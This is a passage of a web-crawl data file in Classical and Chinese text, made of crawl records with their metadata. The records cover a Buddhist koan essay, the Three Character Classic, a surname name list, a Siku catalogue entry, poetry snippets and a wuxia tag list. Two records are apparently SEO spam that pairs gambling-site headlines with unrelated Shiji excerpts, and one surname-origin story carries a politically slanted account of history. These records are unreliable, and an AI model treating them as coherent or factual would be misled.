忙忙","id":"","dump":"CC-MAIN-2017-13","url":"http:\/\/cidian.xpcha.com\/b4864ei8irz.html","date":"2017-03-30T08:48:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-13\/segments\/1490218193288.61\/warc\/CC-MAIN-20170322212953-00559-ip-10-233-31-227.ec2.internal.warc.gz","language":"lzh","language_score":0.6120455861,"language_script":"Hani","minhash_cluster_size":5,"top_langs":"{\"lzh_Hani_score\": 0.6120455861091614, \"cmn_Hani_score\": 0.19473564624786377, \"nan_Hani_score\": 0.16517822444438934, \"yue_Hani_score\": 0.017675288021564484}","num_words":59,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.349,"stopwords_ratio":0.017,"flagged_words_ratio":0.0,"lang_id_score":0.598,"perplexity_score":500.0,"cluster_detection":1} +{"text":"世尊在靈山會上 拈花示眾 是時 眾皆茫然 唯迦葉尊者 破顏微笑 世尊曰<吾有正法眼藏 涅槃妙心 實相無相 微妙法門 不立文字 教外別傳 付囑摩訶迦葉>\n這是一則多麼美妙的佛教公案 釋迦牟尼佛的拈花 寓有高深的禪意 唯諸佛菩薩乃解此義 所以在場的僧眾 都面面相覷 不知所以 不明白世尊的含意 只有大迦葉悟透世尊的心傳 他會心的一笑 贏得了世尊的付法 而為禪宗第一代祖師\n這個故事 和孔子傳道給曾子 具有同樣的奧妙 子曰<吾道一以貫之> 曾子曰<唯> 子出 門人問曰<何謂也?>曾子曰<夫子之道 忠恕而已矣> 曾子了解夫子的心傳 師徒之間的默契 以心傳心 所以他們的問答 不足為外人道也\n南宋理宗寶佑元年 王槦序五燈會元云:\n予聞孔聖曰:參乎吾道一以貫之 曾子曰唯 子出 門人問 曰夫子之道 忠恕而已矣 又聞釋迦在靈山拈花 迦葉 微笑 世尊曰:吾有正法眼藏 涅槃妙心 付囑摩訶大迦葉 二者用處不同 意則一也\n又云: 一貫之理 以心傳心 千萬載間 綿綿不絕 其道學宗派 蓋自曾子一唯中來 佛法昭明 歷幾千劫 闡揚宗風 源源相繼 其教外別傳 蓋自迦葉微笑中始 烏可歧而二哉?\n王槦所云 蓋洞悉二氏真傳 所以能有此見道之言 千載之後 吾人閱之 盍不猛然省悟乎 ?\n(摘自 雙月樓讀經記)","id":"","dump":"CC-MAIN-2017-13","url":"http:\/\/ijk671.pixnet.net\/blog\/post\/10569146-%E6%8B%88%E8%8A%B1%E5%BE%AE%E7%AC%91","date":"2017-03-31T00:31:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-13\/segments\/1490218205046.28\/warc\/CC-MAIN-20170322213005-00361-ip-10-233-31-227.ec2.internal.warc.gz","language":"lzh","language_score":0.5698184371,"language_script":"Hani","minhash_cluster_size":16,"top_langs":"{\"lzh_Hani_score\": 0.5698184370994568, \"nan_Hani_score\": 0.25269514322280884, \"cmn_Hani_score\": 0.17551790177822113}","num_words":76,"character_repetition_ratio":0.015,"word_repetition_ratio":0.0,"special_characters_ratio":0.193,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.57,"perplexity_score":500.0,"cluster_detection":1} +{"text":"三字经 清版 人之初 性本善 性相近 习相远 苟不教 性乃迁 教之道 贵以专 昔孟母 择邻处 子不学 断机杼 窦燕山 有义方 教五子 名俱扬 养不教 父之过 教不严 师之惰 子不学 非所宜 幼不学 老何为 玉不琢 不成器 人不学 不知义 为人子 方少时 亲师友 习礼仪 香九龄 能温席 孝于亲 所当执 融四岁 能让梨 弟于长 宜先知 首孝弟 次见闻 知某数 识某文 一而十 十而百 百而千 千而万 三才者 天地人 三光者 日月星 三纲者 君臣义 父子亲 夫妇顺 曰春夏 曰秋冬 此四时 运不穷 曰南北 曰西东 此四方 应乎中 曰水火 木金土 此五行 本乎数 曰仁义 礼智信 此五常 不容紊 稻粱菽 麦黍稷 此六谷 人所食 马牛羊 鸡犬豕 此六畜 人所饲 曰喜怒 曰哀惧 爱恶欲 七情具 ..","id":"","dump":"CC-MAIN-2018-05","url":"http:\/\/esk365.com\/guoxue\/gxshow.asp?id=exhojfip","date":"2018-01-17T15:19:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084886946.21\/warc\/CC-MAIN-20180117142113-20180117162113-00528.warc.gz","language":"lzh","language_score":0.9113456011,"language_script":"Hani","minhash_cluster_size":6,"top_langs":"{\"lzh_Hani_score\": 0.9113456010818481, \"nan_Hani_score\": 0.0820632204413414}","num_words":86,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.258,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.911,"perplexity_score":500.0,"cluster_detection":1} +{"text":"姓聞人的好聽的男孩名字有哪些呢?名字是孩子一生中最忠實可靠的朋友,無論春風得意,抑或秋雨梧桐,名字都與孩子相依相守,不離不棄。那姓聞人的男寶寶該取什麼樣的名字,下面姓名網為大傢介紹,姓聞人的好聽的男孩名字!\n姓聞人的好聽的男孩名字\n聞人志鳴 聞人樹春 聞人志明 聞人利新 聞人川 聞人美琪 聞人潤澤 聞人詩思 聞人星蘭 聞人芳桐 聞人宇宸 聞人建剛 聞人森栩 聞人立輝 聞人書勤 聞人培光 聞人嚴鑫 聞人萬江 聞人歡 聞人硯 聞人春雅 聞人映田 聞人瀚昕 聞人天放 聞人鵬 聞人原 聞人楚燃 聞人曉龍 聞人傳海 聞人卓妤 聞人逸航 聞人藶珊 聞人翊飛 聞人天宇 聞人來安 聞人丹印 聞人錦恒 聞人琬渲 聞人航航 聞人元弘 聞人江濤 聞人猛 聞人紫心 聞人強彬 聞人蟬 聞人日勤 聞人琪雯 聞人滿春 聞人爍彤 聞人厚 聞人葉敏 聞人傢汀 聞人銳瀚 聞人淇斕 聞人耀祖 聞人羿羽 聞人心語 聞人致遠 聞人海鈞 聞人笑語 聞人莫翰 聞人金利 聞人榮亮 聞人海鋒 聞人飛超 聞人毅 聞人可兒 聞人哲寒 聞人香田 聞人是苑 聞人大宮 聞人振遠 聞人嘉坤 聞人一濤 聞人艾藹 聞人楓 聞人廣慶 聞人昝 聞人雪央 聞人心博 聞人爍辰 聞人天儀 聞人風兵 聞人雅 聞人衛健 聞人偉燦 聞人玉濤 聞人豐忠 聞人惠陽 聞人詩蘭 聞人陽 聞人文翔 聞人幼川 聞人晟華 聞人釗圭 聞人舒涵 聞人毅力 》》還是沒有找到滿意的名字?不妨問問大師。\n聞人煜 聞人荻斯 聞人姍珊 聞人羽翔 聞人夢欣 聞人芳榮 聞人蘭 聞人祥勇 聞人保恒 聞人蕓朵 聞人新 聞人雨涵 聞人仁環 聞人韻靈 聞人世勇 聞人勛富 聞人詩翱 聞人棕海 聞人磊 聞人濤 聞人凡淇 聞人蘢濤 聞人容馨 聞人建平 聞人佩明 聞人兆清 聞人淑女 聞人韶涵 聞人若予 聞人之淮 聞人炯楠 聞人與周 聞人向東 聞人海秤 聞人雪珊 聞人丹蕊 聞人紅桐 聞人雲飛 聞人弘毅 聞人鳳珍 聞人雯曄 聞人珍葉 聞人楚然 聞人瑋凌 聞人佳檑 聞人成傑 聞人星雨 聞人麗桃 聞人超傑 聞人少恩 聞人賀晴 聞人華鋒 聞人在勝 聞人宇傑 聞人鎮 聞人方林 聞人傲天 聞人欣宇 聞人忠運 聞人少榮 聞人豹 聞人妤飛 聞人彤 聞人尺曖 聞人旗 聞人靜涵 聞人倪躍 聞人梯山 聞人立同 聞人學敏 聞人保軍 聞人能臣 聞人潤澤 聞人濱 聞人俊樹 聞人洪峰 聞人澤崴 聞人同丁 聞人君宇 聞人十五 聞人俊彥 聞人承泰 聞人書嵐 聞人鋼 聞人蕊琬 聞人關林 聞人琪芮 聞人恩鑄 聞人仁慶 聞人科 聞人海 聞人景雲 聞人欣克 聞人憬 聞人嘉凝 聞人惟唯 聞人嘉伊 聞人曄 聞人正宇 聞人瀝 聞人伊淼 聞人芳語 聞人靖酃 聞人睿雅 聞人歆沐 聞人紫溪 聞人澤耀 聞人玉靜 聞人柯荀 聞人翰林 聞人輝程 聞人凱撒 聞人一洗 聞人奕馳 聞人玉蘭 聞人栩煜 聞人若洪 聞人子瀟 聞人健昕 聞人紫晴 聞人慶閔 聞人添權 聞人例 聞人樂笑 聞人育銘 聞人甄 聞人浩澤 聞人喜國 聞人秋芝 聞人知非 聞人婉儀 聞人雲原 聞人月岫 聞人鄭宇 聞人嘉寧 聞人海棄 聞人長鷺 聞人弈茜 聞人羿 聞人亞星 聞人炳雯 聞人佩佩 聞人稻香 聞人菲斐 聞人罡 聞人航輝 聞人勛 聞人善良 聞人琨發 聞人佳琦 聞人韋達 聞人益滔 聞人旭亮 聞人建華 聞人木子 聞人宗龍 聞人新 聞人湖 聞人有進 聞人向欣 聞人新風 聞人映天 聞人博煥 聞人福克 聞人本遇\n聞人希瓏 聞人麗君 聞人斯源 聞人敬綿 聞人辰哲 聞人英博 聞人名不 聞人湘玫 聞人映明 聞人卜煒 聞人曉陸 聞人素靜 聞人玉嬌 聞人堯 聞人韓佳 聞人雲卓 聞人子涵 聞人毅恒 聞人玨馨 聞人珂羽 聞人逍寶 聞人昱涵 聞人韻嵐 聞人天駿 聞人仁清 聞人思琦 聞人林慧 聞人筠雅 聞人玨 聞人芳樹 聞人小平 聞人塬 聞人嘉醇 聞人侑 聞人巍 聞人模樓 聞人紆淇 聞人芮榮 聞人陽陽 聞人益帆 聞人一江 聞人莞爾 聞人儒潼 聞人瀅淇 聞人文俊 聞人銘冰 聞人嫻思 聞人佳海 聞人雅嫻 聞人民 聞人興福 聞人興賢 聞人遠煜 聞人念清 聞人蕤槐 聞人凱俊 聞人註成 聞人伯揚 聞人夏豪 聞人茂財 聞人可羨 聞人欣馨 聞人伯良 聞人知耶 聞人成水 聞人天洋 聞人鷺緋 聞人芊卉 聞人晴蕾 聞人仁酉 聞人軒祥 聞人新焱 聞人紫夕 聞人傢齊 聞人儀 聞人懷瑋 聞人富貴 聞人雨桐 聞人澤鈞 聞人藝 聞人信行 聞人羿儕 聞人天旺 聞人諍 聞人州 聞人若男 聞人光寶 聞人欣桃 聞人麗鴻 聞人品一 聞人年易 聞人鍵東 聞人昊谷 聞人賢達 聞人偉迪 聞人亞菲 聞人銘禹 聞人岡 聞人紳 聞人榆 聞人慧琪 聞人承遠 聞人賽哲 聞人潤馨 聞人先鋒 聞人異桐 聞人愛海 聞人如意 聞人與露 聞人業涵 聞人航羽 聞人煒宜 聞人仁哲 聞人曉明 聞人佳珊 聞人瀹赫 聞人雨淇 聞人德生 聞人福 聞人一濤 聞人中瑞 聞人文強 聞人瀅水 聞人煒洪 聞人亦姍 聞人可進 聞人如煙 聞人雪晴 聞人劭鴻 聞人渤 聞人楨承 聞人曉曉 聞人子漫 聞人宇翔 聞人曉寶 聞人青杉 聞人明仙 聞人沂推 》》還是沒有找到滿意的名字?不妨問問大師。\n姓氏源流聞人(Wén rén 聞人)姓源流純正,源出有一:\n起源於春秋時期少正氏。春秋時期,是奴隸社會過渡到封建社會的大變革時期。五霸爭雄,大國兼並小國,奴隸起義反抗奴隸主的壓迫和剝削等激烈的階級鬥爭,反映在意識形態領域,出現瞭百傢爭鳴的局面,也揭開瞭我國歷史上儒法鬥爭的序幕。春秋末期,魯國的孔子和少正卯兩個人都在開班講學:以孔子為首的儒傢學說,主張\"克己復禮\",維護奴隸主階級\"禮治\"的奴隸社會;以少正卯為代表的法傢學說,主張變法革新,建立新興地主階級法治的封建社會。後來聽少正卯講學的人越來越多,其中包括孔子的學生也來瞭大部分,孔門出現瞭\"三盈三虛\",氣得孔子大罵少正卯是\"小人之桀雄\"。少正卯在講學中很快成為瞭文人學士公認的\"聞人\"(意思是出名的人)。後來,孔子當上瞭魯國的司寇,代行宰相職務,給少正卯加上\"聚眾結社;鼓吹邪說;淆亂是非\"等罪名,把他捕殺瞭,並把他的屍體示眾三天。但他變法革新的進步思想已經傳播開瞭,奴隸制必定滅亡,封建制必定興起。新興地主階級傑出代表秦始皇推行法制,於公元前221年統一瞭六國,建立瞭我國第一個地主階級中央集權制的統一國傢。少正卯的後代子孫就以\"聞人\"命姓,稱聞人氏。(責任編輯:八字免費算命網)","id":"","dump":"CC-MAIN-2018-13","url":"http:\/\/www.share4tw.com\/archives\/285567","date":"2018-03-23T11:06:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257648207.96\/warc\/CC-MAIN-20180323102828-20180323122828-00457.warc.gz","language":"lzh","language_score":0.9890140891,"language_script":"Hani","minhash_cluster_size":9,"top_langs":"{\"lzh_Hani_score\": 0.9890140891075134}","num_words":408,"character_repetition_ratio":0.013,"word_repetition_ratio":0.0,"special_characters_ratio":0.191,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.991,"perplexity_score":500.0,"cluster_detection":1} +{"text":"史部三十三 地理類存目六\n湖壖雜記 一卷\n大學士英廉家藏本\n國朝陸次雲撰。次雲字雲士。錢塘人。康熙初。由拔貢生官江陰縣知縣。是書蓋續田藝蘅西湖志餘而作。如慶忌塔夾城之類。亦頗有考辨。而近於小說者十之七八。蓋藝蘅之書。體例亦如是也。","id":"","dump":"CC-MAIN-2019-35","url":"http:\/\/kanji.zinbun.kyoto-u.ac.jp\/db-machine\/ShikoTeiyo\/0164802.html","date":"2019-08-21T18:25:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-35\/segments\/1566027316150.53\/warc\/CC-MAIN-20190821174152-20190821200152-00449.warc.gz","language":"lzh","language_score":0.4237579405,"language_script":"Hani","minhash_cluster_size":7,"top_langs":"{\"lzh_Hani_score\": 0.423757940530777, \"cmn_Hani_score\": 0.42167866230010986, \"yue_Hani_score\": 0.05030222237110138, \"nan_Hani_score\": 0.039603009819984436, \"wuu_Hani_score\": 0.03871266171336174, \"jpn_Jpan_score\": 0.021187257021665573}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.165,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.424,"perplexity_score":500.0,"cluster_detection":1} +{"text":"作者:\n李白 白居易 杜甫 苏轼 辛弃疾 李清照 王维 刘禹锡 纳兰性德 李商隐 杜牧 陆游 陶渊明 孟浩然 李煜 元稹 柳宗元 韩愈 王安石 欧阳修 岑参 贾岛 韦应物 曹操 柳永 温庭筠 李贺 刘长卿 王昌龄 曹植 张籍 孟郊 杨万里 诸葛亮 屈原 王勃 范仲淹 晏殊 晏几道 周邦彦 秦观 朱熹 高适 马致远 左丘明 黄庭坚 司马迁\n胡笳十八拍 我生之初尚无为,我生之后汉祚衰。天不仁兮降乱离,地不仁兮使我逢此时。干戈日寻兮道路危,民卒流亡兮共哀悲。烟尘蔽野兮胡虏盛,志意乖兮节义亏。对殊俗兮非我宜,遭忍辱兮当告谁?笳一会兮琴一拍,心愤怨兮无人...\n微信扫一扫,访问小程序","id":"","dump":"CC-MAIN-2020-05","url":"http:\/\/hqsly.tw\/index$&genre=%E6%9B%B2&genreLabel=%E6%9B%B2.htm","date":"2020-01-25T14:18:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579251672537.90\/warc\/CC-MAIN-20200125131641-20200125160641-00503.warc.gz","language":"lzh","language_score":0.5649239421,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.5649239420890808, \"cmn_Hani_score\": 0.3576605021953583, \"wuu_Hani_score\": 0.034198276698589325, \"nan_Hani_score\": 0.03341802954673767}","num_words":51,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.238,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.725,"perplexity_score":500.0,"cluster_detection":1} +{"text":"作者:\n李白 白居易 杜甫 苏轼 辛弃疾 李清照 王维 刘禹锡 纳兰性德 李商隐 杜牧 陆游 陶渊明 孟浩然 李煜 元稹 柳宗元 韩愈 王安石 欧阳修 岑参 贾岛 韦应物 曹操 柳永 温庭筠 李贺 刘长卿 王昌龄 曹植 张籍 孟郊 杨万里 诸葛亮 屈原 王勃 范仲淹 晏殊 晏几道 周邦彦 秦观 朱熹 高适 马致远 左丘明 黄庭坚 司马迁\n兰亭集序 \/ 兰亭序 永和九年,岁在癸丑,暮春之初,会于会稽山阴之兰亭,修禊事也。群贤毕至,少长咸集。此地有崇山峻岭,茂林修竹;又有清流激湍,映带左右,引以为流觞曲水,列坐其次。虽无丝竹管弦之盛,一觞一咏,亦足以畅叙幽情...\n微信扫一扫,访问小程序","id":"","dump":"CC-MAIN-2020-05","url":"http:\/\/china-zhbs.tw\/index$&tag=bBtKWopO0y&tagLabel=%E6%84%9F%E4%BC%A4.htm","date":"2020-01-27T05:14:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579251694908.82\/warc\/CC-MAIN-20200127051112-20200127081112-00345.warc.gz","language":"lzh","language_score":0.5630421042,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.5630421042442322, \"cmn_Hani_score\": 0.38878920674324036, \"wuu_Hani_score\": 0.026136990636587143, \"nan_Hani_score\": 0.01151954848319292}","num_words":52,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.258,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.693,"perplexity_score":500.0,"cluster_detection":1} +{"text":"东森游戏娱乐平台特朗普疫情当前不忘庆祝收视率被美国网友痛批\n且夫天地为炉兮,造化为工;阴阳为炭兮,万物为铜。合散消息兮,安有常则;千变万化兮,未始有极。忽然为人兮,何足控抟;化为异物兮,又何足患!小知自私兮,贱彼贵我;通人大观兮,物无不可。贪夫徇财兮,烈士徇名;夸者死权兮,品庶冯生。述迫之徒兮,或趋西东;大人不曲兮,亿变齐同。拘士系俗兮,羖如囚拘;至人遗物兮,独与道俱。众人或或兮,好恶积意;真人淡漠兮,独与道息。释知遗形兮,超然自丧;寥廓忽荒兮,与道翱翔。乘流则逝兮,得坻则止;纵躯委命兮,不私与己。其生若浮兮,其死若休;澹乎若深渊之静,氾乎若不系之舟。不以生故自宝兮,养空而浮;德人无累\n其後娶空同氏,生五子。襄子为伯鲁之不立也,不肯立子,且必欲传位与伯鲁子代成君。成君先死,乃取代成君子浣立为太子。襄子立三十三年卒,浣立,是为献侯。\n厓求字子有,少孔子二十九岁。为季氏宰。\n三年,庄公上城,见戎州。曰:\"戎虏何为是?\"戎州病之。十月,戎州告赵简子,简子围卫。十一月,庄公出奔,卫人立公子斑师为卫君。齐伐卫,虏斑师,更立公子起为卫君。\n当是之时,招尊方正贤良文学之士,或至公卿大夫。公孙弘以汉相,布被,食不重味,为天下先。然无益於俗,稍骛於功利矣。","id":"","dump":"CC-MAIN-2020-16","url":"http:\/\/wlgub.jjftgg.com\/rjkls\/593744.html","date":"2020-03-30T15:13:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585370497171.9\/warc\/CC-MAIN-20200330150913-20200330180913-00094.warc.gz","language":"lzh","language_score":0.4129023254,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.4129023253917694, \"cmn_Hani_score\": 0.38834723830223083, \"nan_Hani_score\": 0.062436480075120926, \"wuu_Hani_score\": 0.022340327501296997, \"yue_Hani_score\": 0.015650277957320213}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.18,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.464,"perplexity_score":500.0,"cluster_detection":1} +{"text":"betfair验证美国首位联邦参议员新冠病毒检测呈阳性\n汉王之败彭城而西,行使人求家室,家室亦亡,不相得。败後乃独得孝惠,六月,立为太子,大赦罪人。令太子守栎阳,诸侯子在关中者皆集栎阳为卫。引水灌废丘,废丘降,章邯自杀。更名废丘为槐里。於是令祠官祀天地四方上帝山川,以时祀之。兴关内卒乘塞。\n二十二年,文公卒,子共公瑕立。始厚葬。君子讥华元不臣矣。\n高后五年,歙卒,谥为肃侯。子亭代侯。二十一年,坐事国人过律,孝文後三年,夺侯,国除。\n刓方以为圜兮,常度未替;易初本由兮,君子所鄙。章画职墨兮,前度未改;内直质重兮,大人所盛。巧匠不斫兮,孰察其揆正?玄文幽处兮,矇谓之不章;离娄微睇兮,瞽以为无明。变白而为黑兮,倒上以为下。凤皇在笯兮,鸡雉翔舞。同糅玉石兮,一而相量。夫党人之鄙妒兮,羌不知吾所臧。任重载盛兮,陷滞而不济;怀瑾握瑜兮,穷不得余所示。邑犬群吠兮,吠所怪也;诽骏疑桀兮,固庸态也。文质疏内兮,众不知吾之异采;材朴委积兮,莫知余之所有。重仁袭义兮,谨厚以为丰;重华不可牾兮,孰知余之从容!古固有不并兮,岂知其故也?汤禹久远兮,邈不可慕也。惩违改忿兮,抑心而自彊;离湣而不迁兮,原志之有象。进路北次兮,日昧昧其将暮;含忧虞哀兮,限之以大故。\n将军荀彘,太原广武人。以御见,侍中,为校尉,数从大将军。以元封三年为左将军击朝鲜,毋功。以捕楼船将军坐法死。","id":"","dump":"CC-MAIN-2020-16","url":"http:\/\/jrsmf.kuwho.cn\/kyfwh\/437622.html","date":"2020-04-07T19:17:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585371805747.72\/warc\/CC-MAIN-20200407183818-20200407214318-00422.warc.gz","language":"lzh","language_score":0.4266670644,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.42666706442832947, \"cmn_Hani_score\": 0.3160551190376282, \"nan_Hani_score\": 0.13174866139888763, \"wuu_Hani_score\": 0.033381517976522446, \"yue_Hani_score\": 0.020505795255303383, \"jpn_Jpan_score\": 0.013875133357942104}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.171,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.565,"perplexity_score":500.0,"cluster_detection":1} +{"text":"所有標籤\n以下為所有討論主題標籤,你可以選擇喜歡的來看看大家在討論什麼?\n神蛛凌空銀絲渡虛 絕代雙驕角色列表 達爾巴 雌雄雙股劍 七禽身法 常伯志 霍青桐 四大惡人 甄姬 閔柔 凌波微步 銅錘 湘妃劍 丁典 黃天大法 太史慈 大開碑手 黃蓉 化骨綿掌 常赫志 李莫愁 碧落紅塵 魯肅 魔佛十式 九品中正制 曹丕篡漢 破精自絕大法 文泰來 風鈴中的刀聲 少林神拳 枯榮大師 伏養氣功 吳六奇 蒼穹十三劍 祝融 移玉大法 林朝英 天外飛仙 霍都 劍罡同流 封天閉地 天地明環 楊儀 趙半山 碧血洗銀槍 曹操迎天子 竹節鞭 趙志敬 龐統 邊城浪子 華山論劍 荀彧 青松劍譜 黃皓 郭嘉 倉亭之戰 嫁衣神功 丞相 伊達政宗 歐陽克 三十六招鳥啄擊法 江南七怪 華山派 七星龍王 花間十二支 御盡萬法根源智經 絕不低頭 玉女素心劍法 大人物 張召重 九難 群狐 十住大乘功 黃鍾公 枯禪玄功 仙門劍訣 飛伏一百零八槍 諸葛恪 打狗棒法 周瑜 玉女媚術 織女劍法 江夏戰神 關銀屏 楚留香新傳之借屍還魂 桃實仙 謝遜 紫氣天羅 奕劍術 慕容復 白骨爪 孫曉 碧血劍 陸遜 北冥神功 獨孤九劍 吸星大法 曹休 賈詡 大喬 血戰十式 孫權建國 慈航劍典 雲行雨飄 黃皓專權 金絲綿掌 天魔擊三大散招 九月鷹飛 呂布 戰神圖錄 火併蕭十一郎 烏金血劍 郭芙 怒劍狂花 鍾靈 不死印法 張大春 姑蘇慕容 殭屍拳 一燈大師 謝煙客 神龍教 沙影二十八劍 覆雨劍法 章進 空城計 捨身大法 桃谷六仙 白自在 起風了 丁不三 玉女劍法 張郃 歸魂十八爪 井中八法 飛鶯飛鷹 不死七幻 水笙 換日大法 洪承疇 連城訣 定靜師太 丁璫 任盈盈 子貴母死 金庸 李廣 方怡 星彩 尉遲恭 范遙 蝶雙飛 袁承志 費禕 貝海石 武三通 傻姑 奇功絕藝榜 段譽 鍾繇 張苞 胡斐 西蜀地形圖 東興之戰 斷絕神功 關平 炎陽奇功 掩月劍法 神鵰俠侶 胡昭 官渡之戰 二宮之爭 譙周 呂后 袁紹 福康安 段正淳 劍客行 劉備稱帝 游坦之 天一掌 蕭十一郎 孫皓 白世鏡 合淝之戰 郭淮 銀雕 曹丕伐吳 石中玉 陸無雙 鷹變十三式 馬忠 郭解 變天擊地大法 滅絕師太 曹睿 沐劍屏 瑛姑 丁不四 賈南風 曹仁 白馬嘯西風 史火龍 孫權 摘心手 先天氣功 朱然 玄氣大法 朱子柳 神君別傳 梅花鉤 李秋水 下邳之戰 急風十三刺 鄧艾 飛狐外傳 君子劍 日月神教 夏侯淵 呂母 鐵脊蛇矛 賈充 鬼火十三拍 一指頭禪 華陀針 孫尚香 貂蟬 楊康 月英 天涯明月刀 司馬昭 紅花會 殷離 蕭遠山 九轉無相神功 呂壹專權 郭靖 無想奼女大法 蕭摩訶 滿天花雨 交阯之亂 龍木島主 石亭之戰 玄鐵劍法 孫堅 鳳天南 蝴蝶穿花七十二式 鳩摩智 周伯通 蕭逸 白狼山之戰 滿地開花八十—式 海大富 梁羽生 李元霸 穆念慈 雙修大法 法正 倚天屠龍記 馬岱 紫霞神功 大意失荊州 七种武器 公孫綠萼 樊城之戰 狄雲 蛤蟆功 折花百式 定世鞭 公孫止 嵩山十三太保 東洋神風刀法 就地十八滾 白萬劍 虛竹 星际浪子 辟邪劍法 塌上策 袁紫衣 汪劍通 馬超 五行劍法 白玉老虎 長河正氣 武林外史 雙兒 楚留香新傳 廖化 魅影劍法 衛春華 雙尖軟矛 曹洪 不碎金剛 界橋之戰 諸葛瞻 殘金缺玉 飄香劍雨 太虛錯手 魯有腳 淑女劍 博望坡之戰 五帝鐧 牛郎一百零八棍 越女劍 神州奇俠 丁奉 曹真 幻影劍法 彼岸劍訣 飛燕七式 甘寧 丐幫 諸葛亮南征 仇國論 兵器譜 潼關之戰 木婉清 十二都天神功 黃蓋 奪命十三劍 徐盛 涼州軍劫天子 崆峒派 臥龍生 柳絮劍法 阿紫 洪七公 桃葉仙 裘千仞 吳質 笮融 的盧 劉備 桃花島 屯田制 滅神掌 七殺拳 道心種魔大法 挾刀揉手 英雄無淚 馬大元 夷陵之戰 吳應熊 嫁衣神功 九陰真經 方天畫戟 狂沙刀法 逍遙派 三少爺的劍 左手刀法 霍去病 丞相,起風了 合淝之戰 文鴦 空綁術 迎風一刀斬 成昆 桃枝仙 九陽真經 日月麗天大法 幻魔身法 夏姬 溫瑞安 練師 寧中則 賭局 八賢王 天鷹教 姜維 歐陽鋒 霓裳仙舞 炎元真氣 碎金剛乘 建安文學 恆山派 阿青 逍遙訣 夷陵之戰 東興之戰 西陵之戰 菩提心功 楊修 黯然銷魂掌 護花鈴 金蛇郎君 少林派 田伯光 歡樂英雄 月異星邪 孤星傳 楚留香新傳之新月傳奇 五絕神功 壽春三叛 凌統 張遼 失魂引 夢姑 高平陵之變 明珠 飛天狐狸 武夷派 劍花煙雨江南 石亭之戰 蔣四根 小喬 冰玄勁 關羽 建寧公主 七傷拳 崑崙派 九字真言手印 空明拳 典韋 雷霆刀法 曹操 古龍 方證大師 王重陽 刀劍雙殺七七四十九式 黃忠 一休 蒼穹神劍 雙手互搏 小昭 鰲拜 呂玲綺 法顯 第六天魔王 嵩山派 莫大先生 張無忌 尼摩星 血鸚鵡 衛青 如意八打 大唐雙龍傳 聖火令 徐晃 日月當空 董卓討伐戰 張角 大手印 吳起 流星鎚 天魅凝陰 刀白鳳 武田信玄 壽春馳援 段正明 無崖子 回轉斧法三十式 擒拿截脈法 三尸腦神丹 龜息功 董允 大旗英雄傳 大元丹法 楚留香傳奇 鄭丰 孟獲 伏魔劍法 笑傲江湖 掃地僧 披風杖法 青龍會 狼牙 姜維北伐 陳家洛 碧海潮生曲 青龍偃月刀 藍鳳凰 儀琳 浣花洗劍錄 圓月彎刀 刑遁術 沉沙劍法 大地飛鷹 馬皇后 德川家康 鐵蒺藜骨朵 王平 桃幹仙 風清揚 黃祖 韓小瑩 燎原百擊 玄慈 玩命拳 蔣幹 靈犀一指 丈八蛇矛 裘千尺 五嶽劍派 誰來跟我乾杯 耶律齊 蔣濟 南匈奴 諸葛亮北伐 郭馬之亂 邊荒傳說 鬼魅潛蹤 左慈 金錢幫 名劍風流 天魔心法 曾柔 楊逍 穿雲劍法 韋小寶 孫策 樂進 明玉功 楊頂天 破碎虚空 孫策平江東之戰 程普 趙敏 亡神十八掌 漢中之戰 全真教 周芷若 天心蓮環 張春華 小龍女 血海飄香 青釭劍 大圓滿杖法 夏青青 陽頂天 泰山派 鬼王鞭 魅變術 任我行 儀琳 一串鞭 余魚同 心佛掌 程英 李牧 流星蝴蝶劍 飛刀,又見飛刀 無想十法 夏侯惇 桃花仙 先天功 風萍掌 晉滅吳之戰 絕代雙驕 文醜 尉遲敬德 石破天 定閒師太 張飛 于萬亭 吳三桂 彭長老 古墓派 駱冰 司馬昭弒君 黃藥師 魏延 金丹大法 五虎斷門刀 宗預 化石神功 禿筆翁 丹心術 九韶定音劍 倚天劍 豔陽刃法 岳靈珊 齊桓公 降龍十八掌 劍毒梅香 遊俠錄 布衣神相 扭轉乾坤殺手劍 四大名捕 凝真九變 七十二路分筋錯骨手 南皮之戰 梅超風 七殺手 小鷹爪功 七流星 迷蹤七變 劉表 臥龍 蔡文姬 金針開穴之法 屠龍刀 逆水寒 魏晉玄學 